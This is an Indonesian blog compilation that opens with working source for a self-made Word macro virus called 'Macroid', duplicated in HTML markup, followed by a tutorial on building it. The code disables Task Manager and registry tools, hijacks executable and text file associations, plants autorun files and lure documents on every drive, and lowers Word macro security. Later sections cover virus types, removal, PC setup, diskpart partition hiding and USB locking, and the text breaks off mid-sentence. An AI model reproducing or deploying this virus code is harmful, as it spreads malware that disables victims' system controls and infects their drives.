“HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”,
“2″

1	<span style=”color: #ff0000;”>b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “2″</span>

b.regwrite
“HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”,
“1″

1	<span style=”color: #ff0000;”>b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″</span>

b.regwrite
“HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”,
“1″

1	<span style=”color: #ff0000;”>b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″</span>

b.regwrite
“HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”,
“1″

1	<span style=”color: #ff0000;”>b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″</span>

b.regwrite
“HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”,
“1″

1	<span style=”color: #ff0000;”>b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″</span>

b.regwrite
“HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”,
“1″

1	<span style=”color: #ff0000;”>b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″</span>

b.regwrite
“HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt”,
“1″

1	<span style=”color: #ff0000;”>b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt”, “1″</span>

b.regwrite
“HKLM\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\”,
“Tong Sampah Macroid”

1	<span style=”color: #ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\”, “Tong Sampah Macroid”</span>

b.regwrite
“HKLM\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\”,
“Komputer Morphic”

1	<span style=”color: #ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\”, “Komputer Morphic”</span>

b.regwrite
“HKLM\SOFTWARE\Classes\exefile\shell\open\command\”, “Winword.exe ”
& Environ$(“windir”) & “\Macroid.doc”

1	<span style=”color: #ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\exefile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”</span>

b.regwrite
“HKLM\SOFTWARE\Classes\comfile\shell\open\command\”, “Winword.exe ”
& Environ$(“windir”) & “\Macroid.doc”

1	<span style=”color: #ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\comfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”</span>

b.regwrite
“HKLM\SOFTWARE\Classes\vbsfile\shell\edit\command\”, “Winword.exe ”
& Environ$(“windir”) & “\Macroid.doc”

1	<span style=”color: #ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\vbsfile\shell\edit\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”</span>

b.regwrite
“HKLM\SOFTWARE\Classes\txtfile\shell\open\command\”, “Winword.exe ”
& Environ$(“windir”) & “\Macroid.doc”

1	<span style=”color: #ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\txtfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”</span>

b.regwrite
“HKLM\SOFTWARE\Classes\scrfile\shell\open\command\”, “Winword.exe ”
& Environ$(“windir”) & “\Macroid.doc”

1	<span style=”color: #ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\scrfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”</span>

b.regwrite
“HKLM\SOFTWARE\Classes\batfile\shell\open\command\”, “Winword.exe ”
& Environ$(“windir”) & “\Macroid.doc”

1	<span style=”color: #ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\batfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”</span>

b.regwrite “HKLM\SOFTWARE\Classes\Folder\shell\”, “0pen”

1	<span style=”color: #ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\Folder\shell\”, “0pen”</span>

b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\”, “&Open”

1	<span style=”color: #ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\”, “&Open”</span>

b.regwrite
“HKLM\SOFTWARE\Classes\Folder\shellpen\command\”, “wscript.exe ”
& Environ$(“windir”) & “\avmc.vbs”

1	<span style=”color: #ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\command\”, “wscript.exe ” & Environ$(“windir”) & “\avmc.vbs”</span>

b.regwrite
“HKLM\SOFTWARE\Classes\VisualBasic.Project\shell\open\command\”,
“Winword.exe ” & Environ$(“windir”) &
“\Macroid.doc”

1	<span style=”color: #ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\VisualBasic.Project\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”</span>

On Error Resume Next

1	<span style=”color: #ff0000;”>On Error Resume Next</span>

Dim rog As Integer

1	<span style=”color: #ff0000;”>Dim rog As Integer</span>

Dim atr, vbs, Tipu(10), Trik(10) As String

1	<span style=”color: #ff0000;”>Dim atr, vbs, Tipu(10), Trik(10) As String</span>

For a = 66 To 90

1	<span style=”color: #ff0000;”>For a = 66 To 90</span>

partisi = Chr$(a)

1	<span style=”color: #ff0000;”>partisi = Chr$(a)</span>

vbs = partisi & “:\auto.vbs”

1	<span style=”color: #ff0000;”>vbs = partisi & “:\auto.vbs”</span>

atr = partisi & “:\autorun.inf”

1	<span style=”color: #ff0000;”>atr = partisi & “:\autorun.inf”</span>

Tipu(1) = partisi & “:\Soal SPMB 1995-2008.doc”

1	<span style=”color: #ff0000;”>Tipu(1) = partisi & “:\Soal SPMB 1995-2008.doc”</span>

Tipu(2) = partisi & “:\Kisah di balik HarryPotter.doc”

1	<span style=”color: #ff0000;”>Tipu(2) = partisi & “:\Kisah di balik HarryPotter.doc”</span>

Tipu(3) = partisi & “:\Titip File sebentar.doc”

1	<span style=”color: #ff0000;”>Tipu(3) = partisi & “:\Titip File sebentar.doc”</span>

Tipu(4) = partisi & “:\jangan di baca.doc”

1	<span style=”color: #ff0000;”>Tipu(4) = partisi & “:\jangan di baca.doc”</span>

Tipu(5) = partisi & “:\buku harian.doc”

1	<span style=”color: #ff0000;”>Tipu(5) = partisi & “:\buku harian.doc”</span>

Tipu(6) = partisi & “:\cerita hangat.doc”

1	<span style=”color: #ff0000;”>Tipu(6) = partisi & “:\cerita hangat.doc”</span>

Tipu(7) = partisi & “:\Punya Baim.doc”

1	<span style=”color: #ff0000;”>Tipu(7) = partisi & “:\Punya Baim.doc”</span>

Tipu(8) = partisi & “:\Teka-teki yang baru.doc”

1	<span style=”color: #ff0000;”>Tipu(8) = partisi & “:\Teka-teki yang baru.doc”</span>

Tipu(9) = partisi & “:\Kumpulan cerita lucu.doc”

1	<span style=”color: #ff0000;”>Tipu(9) = partisi & “:\Kumpulan cerita lucu.doc”</span>

Tipu(10) = partisi & “:\Trik Sulap.doc”

1	<span style=”color: #ff0000;”>Tipu(10) = partisi & “:\Trik Sulap.doc”</span>

1	<span style=”color: #ff0000;”>If Dir(Tipu(1)) = “” And Dir(Tipu(2)) = “” And Dir(Tipu(3)) = “” And Dir(Tipu(4)) = “” And Dir(Tipu(5)) = “” And Dir(Tipu(6)) = “” And Dir(Tipu(7)) = “” And Dir(Tipu(8)) = “” And Dir(Tipu(9)) = “” And Dir(Tipu(10)) = “” Then</span>

Randomize

1	<span style=”color: #ff0000;”>Randomize</span>

rog = Int(10 * Rnd) + 1

1	<span style=”color: #ff0000;”>rog = Int(10 * Rnd) + 1</span>

Open Tipu(rog) For Output As #1

1	<span style=”color: #ff0000;”>Open Tipu(rog) For Output As #1</span>

Print #1, “”

1	<span style=”color: #ff0000;”>Print #1, “”</span>

Close #1

1	<span style=”color: #ff0000;”>Close #1</span>

End If

1	<span style=”color: #ff0000;”>End If</span>

Trik(1) = partisi & “:\Novel J.K.Rowling.doc”

1	<span style=”color: #ff0000;”>Trik(1) = partisi & “:\Novel J.K.Rowling.doc”</span>

Trik(2) = partisi & “:\cerita cinta.doc”

1	<span style=”color: #ff0000;”>Trik(2) = partisi & “:\cerita cinta.doc”</span>

Trik(3) = partisi & “:\Ringkasan cerita HarryPotter.doc”

1	<span style=”color: #ff0000;”>Trik(3) = partisi & “:\Ringkasan cerita HarryPotter.doc”</span>

Trik(4) = partisi & “:\Semua Cheat game DOTA.doc”

1	<span style=”color: #ff0000;”>Trik(4) = partisi & “:\Semua Cheat game DOTA.doc”</span>

Trik(5) = partisi & “:\Kumpulan Cheat game.doc”

1	<span style=”color: #ff0000;”>Trik(5) = partisi & “:\Kumpulan Cheat game.doc”</span>

Trik(6) = partisi & “:\Cheat game RF.doc”

1	<span style=”color: #ff0000;”>Trik(6) = partisi & “:\Cheat game RF.doc”</span>

Trik(7) = partisi & “:\Cheat game Ayo Dance.doc”

1	<span style=”color: #ff0000;”>Trik(7) = partisi & “:\Cheat game Ayo Dance.doc”</span>

Trik(8) = partisi & “:\Goosebumps.doc”

1	<span style=”color: #ff0000;”>Trik(8) = partisi & “:\Goosebumps.doc”</span>

Trik(9) = partisi & “:\FearStreet.doc”

1	<span style=”color: #ff0000;”>Trik(9) = partisi & “:\FearStreet.doc”</span>

Trik(10) = partisi & “:\R.L.Stine.doc”

1	<span style=”color: #ff0000;”>Trik(10) = partisi & “:\R.L.Stine.doc”</span>

1	<span style=”color: #ff0000;”>If Dir(Trik(1)) = “” And Dir(Trik(2)) = “” And Dir(Trik(3)) = “” And Dir(Trik(4)) = “” And Dir(Trik(5)) = “” And Dir(Trik(6)) = “” And Dir(Trik(7)) = “” And Dir(Trik(8)) = “” And Dir(Trik(9)) = “” And Dir(Trik(10)) = “” Then</span>

Randomize

1	<span style=”color: #ff0000;”>Randomize</span>

rogi = Int(10 * Rnd) + 1

1	<span style=”color: #ff0000;”>rogi = Int(10 * Rnd) + 1</span>

Open Trik(rogi) For Output As #1

1	<span style=”color: #ff0000;”>Open Trik(rogi) For Output As #1</span>

Print #1, “”

1	<span style=”color: #ff0000;”>Print #1, “”</span>

Close #1

1	<span style=”color: #ff0000;”>Close #1</span>

End If

1	<span style=”color: #ff0000;”>End If</span>

Open atr For Output As #1

1	<span style=”color: #ff0000;”>Open atr For Output As #1</span>

Print #1, “[Autorun]“

1	<span style=”color: #ff0000;”>Print #1, “[Autorun]“</span>

Print #1, “shell\Open\command=wscript.exe auto.vbs”

1	<span style=”color: #ff0000;”>Print #1, “shell\Open\command=wscript.exe auto.vbs”</span>

Close #1

1	<span style=”color: #ff0000;”>Close #1</span>

SetAttr atr, vbHidden + vbSystem

1	<span style=”color: #ff0000;”>SetAttr atr, vbHidden + vbSystem</span>

Open vbs For Output As #1

1	<span style=”color: #ff0000;”>Open vbs For Output As #1</span>

Print #1, “dim a”

1	<span style=”color: #ff0000;”>Print #1, “dim a”</span>

Print #1, “set a = createobject(” &
Chr(34) & “Wscript.shell” & Chr(34) &
“)”

1	<span style=”color: #ff0000;”>Print #1, “set a = createobject(” & Chr(34) & “Wscript.shell” & Chr(34) & “)”</span>

1	<span style=”color: #ff0000;”>Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\10.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)</span>

1	<span style=”color: #ff0000;”>Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\11.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)</span>

1	<span style=”color: #ff0000;”>Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\12.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)</span>

Close #1

1	<span style=”color: #ff0000;”>Close #1</span>

SetAttr vbs, vbHidden + vbSystem

1	<span style=”color: #ff0000;”>SetAttr vbs, vbHidden + vbSystem</span>

Next a

1	<span style=”color: #ff0000;”>Next a</span>

End Sub

1	<span style=”color: #ff0000;”>End Sub</span>

Hati –hati dengan source diatas. Karena lumayan bikin pening juga.Tapi maaf ya kalo aku gak bisa jelasinnya sekarang. Karena kalo aku jelasin nanti tutorial ini terlalu panjangggggggggggggggg……. Makanya penjelasan mengenai source di atas aku buat di tutorial kedua.
EFEK-EFEK KECIL DAN TANDA-TANDA TERINFEKSI

Nah coba tebak mana file virus dan mana file yang bukan virus!!!!!!!!
Jawabannya lihat di bawah!!

CARA MEMBUAT VIRUS LANJUTAN
Ini nih, dulu saya udah janji untuk ngelanjutin sample virus macro yang saya buat dulu. Di tutorial kali ini saya akan jelasin sedikit demi sedikit untuk mempelajari virus macro ini…
Pernah dengar virus Macroid?Itu adalah salah satu contoh virus macro yang saya buat.
Langsung aja.
Buka visual Basic editor di Tools>macro>visual basic editor ato tekan pada keyboard Alt+F11
Tampilannya mirip dengan VB6 kita, dan penggunaan sourcenya juga gak jauh beda…
Misalnya :
Dim AD as object
Ya gak. Mirip kan dengan script di VB6? Dan dilanjutkan dengan penggunaan ”set”. Misalnya :
set AD=ActiveDocument.VBProject.VBComponents.Item(1)
ha ha ha… oke deh gak usah main-main. Langsung keserius nya aja…
Script dibawah ini untuk mengubah ”Name” document yang diinfeksi (umumnya ini yang dijadikan sebagai nama virus macro kita)

dim AD as object set AD=ActiveDocument.VBProject.VBComponents.Item(1)

1	<span style=”color: #ff0000;”>dim AD as object set AD=ActiveDocument.VBProject.VBComponents.Item(1)</span>

if AD.Name “Macroid” then
AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines AD.Name =
“Macroid” end if

1	<span style=”color: #ff0000;”>if AD.Name “Macroid” then AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines AD.Name = “Macroid” end if</span>

contoh script diatas adalah untuk mengubah name document menjadi ”Macroid”. (efek ini baru bisa dijalankan setelah virus yang utuh dieksekusi)
Script diatas bisa kamu sisipkan di ”Document_Close()” ato di ”Document_Open()” ato di ”Document_New()”
Kalo disisipkan di “Document_Close()” efeknya akan berjalan saat document ditutup. Dan begitu juga dengan “Document_Open()” dan “Document_new()”
Kalo disisipkan di “Document_Open()” efeknya akan berjalan saat document dibuka.
Kalo disisipkan di “Document_new()” efeknya akan aberjalan saat document baru dibuka.
Ini contoh gambarnya…

Efeknya adalah ini.

Itu tandanya virus “Macroid”!!! ha ha ha… oke.
Sebenarnya saya mau menjelaskan lebih banyak soal trik-trik virus macro, tapi saya yakin sebelum sampai diatas pasti masih banyak masalah untuk kalian…
Sebelumnya kalian harus perhatikan security macro kalian.
Lihat Tools>Macro>security

Yang harus kita pilih adalah opsi ”Low” supaya Ms.Word akan menjalankan semua script di visual Basic Editor. Karena kita masih belajar-belajar biarkan saja kita yang atur security ini, nanti kalo kita udah mau bikin virus macro, ada caranya supaya virus kita yang ngatur security ini… tenang aja…
Setelah kita set securitynya, silakan save document terus hidupkan document kita tadi.
Ada satu lagi masalah… kalo nanti ”misalnya” ada gambar seperti dibawah ini:

Berarti ada hal yang harus kita atur dulu… Buka lagi security macro tadi.
Lalu pada tab Trusted Publishers silakan ceklis “Trust aceess to Visual Basic Project”
Nah klo itu dah dilakukan, maka untuk berikut-berikutnya kalo kita mau ngetes virus macro kita udah bisa boss….
Sekian dulu tutorialnya, tunggu tutorial berikutnya ya….

Cara Kerja Virus Komputer Menurut Jenisnya

November 13th, 2008

Virus merupakan suatu program komputer yang memiliki kemampuan untuk merusak file atau

merusak sistem komputer. Virus memiliki berbagai jenis dan mempunyai cara kerja yang

berbeda-beda, Berikut Jenis-jenis virus dan cara kerja masing-masing virus :

1. Virus File

Virus ini mempunyai cara kerja yaitu menginfeksi aplikasi atau dokumen yang ada dalam

komputer anda. Saat aplikasi yang terinfeksi tersebut dijalankan, maka virus ini akan menyebar

dengan cara menginfeksi semua file atau dokumen yang diakses oleh aplikasi tersebut.

2. Virus Boot Sector

Virus ini mempunyai cara kerja yaitu menginfeksi boot sector harddisk (boot sector merupakan

sebuah daerah dalam hardisk yang pertama kali diakses saat komputer dihidupkan).

Jika virus boot sector ini aktif, pengguna tidak akan bisa membooting komputernya secara

normal.

3. Virus E-mail

Virus ini mempunyai cara kerja yaitu menyebar melalui e-mail (biasanya dalam bentuk file

lampiran/attachment). Virus memiliki ciri khusus berupa ekstensi .scr, .exe, .pif, atau .bat.

Apabila Virus ini aktif, maka dia akan mengirimkan dirinya sendiri ke berbagai alamat e-mail

yang terdapat dalam buku alamat pengguna.

4. Virus Multipartite

Virus ini mempunyai cara kerja yaitu menginfeksi file-file komputer sekaligus boot sector pada

harddisk. Virus jenis ini akan menimbulkan banyak masalah karena menyebabkan kerusakan

yang fatal.

5. Virus Polimorfis

Virus ini mempunyai cara kerja yang unik yaitu virus ini dapat mengubah kode dirinya (berganti

wujud) saat menyebarkan diri ke komputer lain Virus jenis lebih sulit dideteksi karena

mempunyai sifat seperti itu.

6. Virus Siluman (stealth virus)

Virus ini mempunyai cara kerja yaitu dia mampu Menyembunyikan dirinya dengan cara

membuat sebuah file yang terinfeksi seolah-olah file tersebut tidak terinfeksi.

7. Virus Makro

Virus ini mempunyai cara kerja yaitu menginfeksi Aplikasi Microsoft Office, seperti Word dan

Excel. Biasanya Dokumen yang terinfeksi oleh Virus Makro akan memodifikasi perintah yang

ada di Microsoft Office seperti perintah “Save” untuk menyebarkan dirinya saat perintah tersebut

dijalankan.

7 Langkah Cara Menghapus Virus Komputer

Jika PC Anda pernah terinfeksi – atau lebih buruk, jika sekarang terinfeksi – Anda

mungkin merintih. Ya itu sakit, tapi kabar baiknya adalah: Anda dapat menghapus virus sendiri,

secara gratis.

Sebelumnya anda bisa memastikan Apakah PC Anda Terkena Virus ? Atau Hanya LAMBAT?.

Jika Anda telah yakin komputer anda terinfeksi virus, Anda bisa mengikuti resep di bawah ini.

LANGKAH 1: Back Up Dokumen, Foto dan Video.

Simpan data penting Anda ke drive eksternal. Pastikan untuk memindai drive ini dan isinya

setelah Anda menghapus virus, Anda tidak ingin kembali menginfeksi komputer Anda setelah

pembersihan.

LANGKAH 2: Reboot dalam Safe Mode

Anda harus mencegah virus dari berjalan ketika Anda mencoba untuk menghapusnya. Untuk

melakukan ini, reboot dalam mode aman. Safe mode hanya berjalan sistem operasi Windows dan

program kunci. Ini adalah cara untuk membatasi malware apapun dari peluncuran. Restart

komputer Anda dan tekan tombol F8 pada keyboard berulang kali sampai Anda mendapatkan ke

layar hitam dengan pilihan untuk restart pada Safe Mode. Pilih “Safe Mode dengan Jaringan”

sehingga Anda masih bisa mendapatkan di Internet.

LANGKAH 3: Download Virus Scanner / Alat Penghapusan

Saya sarankan download 2-3 program yang berbeda untuk menemukan dan menghapus malware.

Orang bisa melakukan pekerjaan itu, tetapi tiga hampir pasti akan melakukan pekerjaan. Ketiga

telah bekerja untuk saya dan datang sangat dianjurkan oleh PC Magazine dan CNET:

Malwarebytes

SuperAntiSpyware

PC Tools

LANGKAH 4: Jalankan Scanner Virus

Download, klik dua kali untuk menginstal, menerima semua default yang mereka sarankan, dan

kemudian jalankan masing-masing. Ini akan memakan waktu cukup lama. Ketika program

mencari virus atau item mencurigakan, memungkinkan program untuk menghapus file.

LANGKAH 5: Reboot Biasanya

Reboot komputer Anda secara normal, tidak perlu untuk mode aman. Anda harus kembali

normal sekarang. Jika Anda memiliki file didukung pada drive eksternal, pasang dan

menggunakan program keamanan yang Anda download ke memindai drive sebelum Anda

membuka atau mentransfer file. Jika virus hilang, lanjutkan ke langkah 6.

** JIKA ANDA MASIH MEMILIKI VIRUS **

Banyak orang akan merekomendasikan Anda menginstal ulang Windows atau mencoba

mengembalikan sistem atau download registry cleaner. Saya mengatakan bahwa pada saat ini,

kebanyakan orang harus mengambil komputer ke bengkel PC lokal. Di mana saya tinggal,

harganya sekitar $ 120 untuk mendapatkan virus dihapus dan versi bersih Windows diinstal. Ini

adalah keputusan pribadi bagaimana Anda melanjutkan dari sini, tapi mempertimbangkan nilai

waktu Anda. (Becky Worley) Idham Informasi Dan Tutorial

LANGKAH 6: Tambah Keamanan

Bagaimana Anda mendapatkan virus yang di tempat pertama? Bahkan jika Anda tidak tahu, jelas

Anda membutuhkan perlindungan lebih. PC Tools adalah real-time virus scanner yang dapat

Anda gunakan sebagai perlindungan yang sedang berlangsung Anda, atau menginstal sesuatu

seperti Avast atau AVG. Ketiganya sangat baik, bebas, anti-virus. Juga Microsoft Security

Essentials datang juga dianjurkan.

Anda juga harus pergi ke Control Panel dari komputer Anda, dan di bagian keamanan klik

Windows Update. Pastikan bahwa itu dibentuk untuk secara teratur memperbarui. Dan jika Anda

berpikir orang lain tanpa sengaja terinstal malware pada komputer Anda, itu ide yang baik untuk

memberikan anggota keluarga tanda-sendiri account yang tidak memiliki hak istimewa admin.

Dengan cara ini, jika anak-anak mencoba untuk mendownload software yang bisa pelabuhan

virus, mereka tidak akan diizinkan untuk. Dan ya, ini berarti Anda harus menjaga password

admin Anda pribadi. (Juga, jika mereka telah menginstal file-sharing program, sekarang akan

menjadi saat yang tepat untuk menghapusnya. P-2-P musik dan situs film melakukan

mengekspos Anda untuk banyak sampah.

LANGKAH 7 – Pengendalian Kerusakan

Virus adalah pintu gerbang ke pencurian identitas dan spam. Jadi setelah Anda menyucihamakan

komputer Anda itu ide baik untuk memeriksa kredit Anda (annualcreditreport.com adalah

laporan kredit situs yang Transaksi Kredit Adil dan Akurat UU memaksa serikat kredit untuk

membuat bagi konsumen untuk mengakses laporan gratis tahunan). Anda juga harus mengubah

semua password Anda, terutama password email Anda dan password untuk lembaga keuangan

Anda. Berikut ini metode saya untuk membuat mudah mengingat rock-solid password.

4 langkah Cek Virus Tanpa Antivirus

Oleh: Panembahan Satyapradana

Berikut ini adalah cara melacak apakah komputer kita terkena virus atau tidak.

1. Buka command prompt dengan cara Start -> Run -> cmd.

Secara default, lokasi akan berada di C:\Documents and settings\nama_user, untuk itu anda harus

pindah terlebih dahulu ke folder system32.

2. Ketikkan "cd c:\windows\system32" (tanpa tanda petik).

Tekan enter untuk masuk ke folder system32.

3. Ketik "setup" lalu tekan enter

4. Jika muncul tampilan gambar yang didalamnya ada peringatan "Please go to the Control Panel

to install and configure system components." Berarti komputer anda sehat dari virus, tetapi jika

komputer anda malah hang atau restart itu berarti ada virus yang bersemayam di komputer anda.

Lantas bagaimana jika komputer terdeteksi ada virusnya? Coba baca dulu cara membasmi virus

brontok , secara garis besar caranya hampir sama seperti itu. Agar pengetahuan tentang virus

lebih mendalam silahkan baca juga artikel tentang karakteristik umum virus.

Dari 2 referensi artikel di atas, secara umum langkah mudah penanganan komputer yang terkena

virus adalah dengan melakukan scanning system dengan antivirus update. Tapi yang perlu

diingat sebelum melakukan scanning dengan antivirus ada baiknya matikan dulu system restorenya

dan akan lebih bagus lagi jika proses scanning berjalan di atas safe mode.

Cara masuk ke safe mode->

1. Restart PC

2. Saat awal booting tekan tombol F8

3.Jika langkah nomer 3 benar,akan keluar menu pilihan untuk masuk ke safe mode.

4. Pilih menu safe mode dan tekan enter untuk mengeksekusi

5. Tunggu hingga tampilan desktop muncul

Panduan Instal Komputer (Aswat Arianto 2010)

Bismillahirrahmanirrahiem.

Pekanbaru 7 Januari 2011

JUDUL: (instal computer dari awal sampai selesai)

BAB I

A. Install Operatyng System (OS) Windows

Instal Windows 7 Pada computer

Setelah Penginstalan OS selesai lanjut ke bagian B

B. Install Aplikasi/Software

Perlu diketahui bahwa agar computer tetap bersih dan selalu senang dalam menggunakannya maka installah aplikasi yang sudah terpilih atau terpercaya.

Adapun aplikasi aplikasi utama yang harus diinstal pada computer agar computer memenuhi standar pakai user professional adalah sebagai berikut:

Istallah aplikasi berikut sesuai dengan urutannya.

1. Antivirus [ AVIRA Free ]

Disni saya menyarankan untuk memakai AVIRA Free User yang bisa anda download di avira.com dan untuk Updatenya download VDF

2. Microsoft Office

Jika akan menggunakan 2 versi MS-Office (2007 dan 2010) maka disarankan menginstal Ms_Office 2007 terlebih dahulu

a. Miccrosoft Office 2007 [Ms-Office 2007]

b. Miccrosoft Office 2010 [Ms-Office 2010]

Setelah kedua Ms-Office terinstal setting dulu PC(pada regedit) agar dalam mengeksekusi kedua M-Office tersebut bisa berjalan dengan lancar. Kemudian jalankan semua aplikasi yang terinstal satu persatu dan lakukan pengaturan tampilan jendela masing-masing aplikasi. Hal ini untuk memastikan apakah aplikasi berjalan dengan lancar dan untuk mengatur tampilan aplikasi sesuai keinginan anda, selesai maka tambahkah Add-Ons Ms Office terlebih dahulu. Adapun Add-Ons Office yang syarat dengan manfaat adalah :

- Al-Qur’an

- Office Tab

- Save As Pdf (untuk Ms-Office 2007 Sp_1)

BAB II

PEMBAHASAN

1. OS

1. Windows 7 Home Premium

2. Instal Winrar + CID (Create Icon to Desktop)

Extrak file activate W7

3. Activate W7 (Genuine kan)

Setelah Genuine Hapus file Activate yang di ekstrak tadi

4. ANTIVIRUS

1. AVIRA Free + CID

2. + Update VDF

3. Scan complete computer

Pada saat antivirus berjalan jangan exekusi file/aplikasi apapu

5. Instal Driver

Jika semua sudah komplite dan berpungsi, NEXT…

6. Driver Printer dan Alat External lainnya

7. TotalCommander

8. M-OFFICE

1. M-Office 2007

2. M-Office 2010

3. Lakuan setting Regedit

4. Instal Add-Ons

- Al-Qur’an

- Save As Pdf (ms-office 2007)

- Office Tab

- Spell Cheeker (jika ada)

5. Run All Aplikasi Paket Office dan Lakukan Pengaturan sesuai kebutuhan

6. CID

9. WINNAMP

Agar bisa mendengar ceramah atau musik sambil menginstal

10. Adobe Reader-X

11. Open Office

12. Kamus 2

13. IndopreterCD

14. Photoshop CS3 atau CS5 Portabel

15. Auto Cad

16. CCleaner

17. Revo Unsinstaller

18.

19. Mega Lite Code Pack

20.

Menyembunyikan Partisi Harddisk Dengan Perintah CM

Banyak sekali software/programs yang dapat anda gunakan untuk menyembunyikan partisi harrdisk di Windows. Tetapi apabila anda tidak mempunyai softwarenya, cobalah anda gunakan perintah command prompt untuk menyembunyikan partisi harddisk tersebut.

Partisi harddisk biasanya digunakan sebagai tempat untuk menyimpan data-data tertentu, seperti musik, software, data document, video, dll. Misal jika komputer rumah anda digunakan oleh anda dan 2 adik anda, anda tentu tidak bisa memproteksi semua data dalam komputer anda dari adik-adik anda, anda bisa menggunakan partisi-partisi di harddsik sebagai tempat menyimpan data-data adik anda.

Untuk partisi data anda, apabila anda tidak mau data-data pada partisi tersebut dilihat adik-adik anda (data pribadi), anda bisa menggunakan cara ini untuk menyembunyikan partisi anda tersebut.

Berikut cara-caranya:

1. Buka command prompt, Start – Run – ketikkan perintah cmd

2. Setelah tampil command prompt, ketikkan perintah di bawah ini

diskpart
Untuk masuk ke menu DISKPART

list volume
Untuk melihat daftar partisi harddisk

select volume 4
Untuk memilih partisi harddisk, sebagai contoh di sini penulis memilih volume 4

remove letter G
Untuk menyembunyikan partisi harddisk letter, di sini volume 4 harddisk letternya adalah letter G

Untuk lebih jelasnya ada pada gambar di bawah ini:

3. Setelah selesai, restartlah komputer anda, dan lihat hasilnya.

4. Apabila anda ingin mengembalikkan partisi tersebut, anda ketiikan perintah yang sama seperti di atas sampai perintah select volume 4, kemudian ketikkan perintah:

assign letter G
Untuk mengembalikan partisi harddisk

5. Kemudian lihat partisi harddsik pada explorer anda.

Semoga bermanfaat.

Mengunci USB dengan USB Flash Security

Aplikasi ini berguna untuk mengamankan data dalam Flashdisk Anda dan menguncinya dengan password. Jadi jika Anda kehilangan flash disk anda tidak perlu panik lagi akan data penting Anda jatuh ke dalam tangan orang yang salah.

Cara pengoprasiannya pun cukup mudah, Anda hanya perlu menempatkannya ke dalah flash disk Anda. Lalu security Release tool akan ter-install ke dalam USB Flash Memory Anda. Aplikasi ini mampu bekerja secara independent tanpa Anda harus meng-install aplikasi yang sama pada Komputer atau Laptop Anda.

Cara menggunakannya adalah sebagai berikut:

Colokkan Flash Disk Anda ke dalam PC, lalu Klik ganda pada aplikasi ini di PC, lalu install seperti biasa.
Jalankan aplikasinya, klik Ok pada jendela yang keluar.
Pilih Tab yang mempunyai nama seperti nama Flash Disk Anda. Klik satu kali pada kotak Volume.
Lalu klik Tombol Install.
Terdapat peringatan, klik saja tombol OK.
Lalu akan muncul jendela untuk memasukkan Password baru. Masukkan password yang Anda inginkan lanjutkan dengan memilih OK.
Jika terdapat pesan seperti pada gambar di bawah ini klik saja OK.
Tunggulan beberapa saat proses instalasi karena tidak akan memakan waktu yang lama. Jika berhasil maka di dalam Flash disk Anda akan terdapat dua buah file yang sangat penting. Sekarang coba cabut flash disk lalu masukkan kembali, maka Anda akan di mintai password agar bisa meng-akses aplikasi ini.

Aplikasi gratis ini memiliki beberapa persyaratan untuk bisa di gunakan, yaitu:

